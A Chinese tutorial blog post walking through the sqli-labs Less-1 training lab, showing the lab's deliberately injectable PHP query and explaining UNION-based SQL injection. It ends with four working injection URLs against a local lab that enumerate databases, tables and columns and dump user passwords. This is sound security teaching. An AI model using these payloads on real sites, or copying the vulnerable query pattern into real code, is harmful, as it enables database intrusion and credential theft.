sqli-labs (less-1)

Less1 核心代码

  • 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysqli_error($con));
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
?>
  • 具体后台mysql中操作的结果是
image.png

首先我们要判断是否是sql注入,我们用单引号去尝试

image.png

得到的有价值的信息

  • 出现报错一定有数据库注入
  • 数据库为myql
  • LIMIT 0,1 后台只查询一条内容(比较重要的信息)
image.png

在做测试之前要科普下数据库注入的几种类型

  • union注入(联合查询)
  • 基于错误的注入
  • 时间注入
  • 布尔注入
  • 内联查询
  • 栈查询

其中盲注又分为

 基于布尔SQL盲注
 基于时间的SQL盲注
 基于报错的SQL盲注

sqlmap 中对于注入的分类

image.png

测试开始

首先我们要用最常见的union 注入去尝试

关于union注入介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

  • 具体的例子
image.png

上文说过(如何判断前面的select 查询有几列呢? order by 介绍)

union内部的SELECT 语句必须拥有相同的列

order by 是对查询的列进行排序

语法

SELECT field1, field2,...fieldN table_name1, table_name2...
ORDER BY field1, [field2...] [ASC [DESC]]

order by 有一个特性,就是后面可以不跟排序的字段,直接跟数字,如果数字超过查询的列就会报错,

当为3的时候正常,当为4时候报错(得到结果查询的列为3)

image.png

在正式测试之前还介绍几个知识 group_concat

正式开始

  • 猜测数据库
select schema_name  from information_schema.schemata
  • 猜测数据库中的数据表
select table_name  from  information_schema.tables  where table_schema='XXXX'
  • 猜测表的所有列
select column_name from information_schema.columns where table_name='xxxx'
  • 获取某列的内容
select xxx  from  xxxxx

LESS1 中的 POC


查看数据库
http://127.0.0.1/sqli-labs/Less-1/?id='  union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23


查看表
http://127.0.0.1/sqli-labs/Less-1/?id=-1 '  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+



查看列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


查看数据
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 打开主页进入第一关 : 提示传入id这个参数 发现这个页面会根据传入的ID查询到对应的用户这里我们可以通过查看数据...
    王一航阅读 1,077评论 1 6
  • 1.首先来到less-1 url后面输入?id=1 大家可能此时与我不同的是 这是为了方便我们自己看到底执行的sq...
    zzqsmile阅读 408评论 0 1
  • MYSQL 基础知识 1 MySQL数据库概要 2 简单MySQL环境 3 数据的存储和获取 4 MySQL基本操...
    Kingtester阅读 7,857评论 5 116
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,494评论 0 5
  • 作为父母,如何培养孩子是我们大半生思考的问题,和孩子一起成长是我们终生的功课!如何和孩子一起成长?我们必须学会审...
    流千雪阅读 610评论 0 2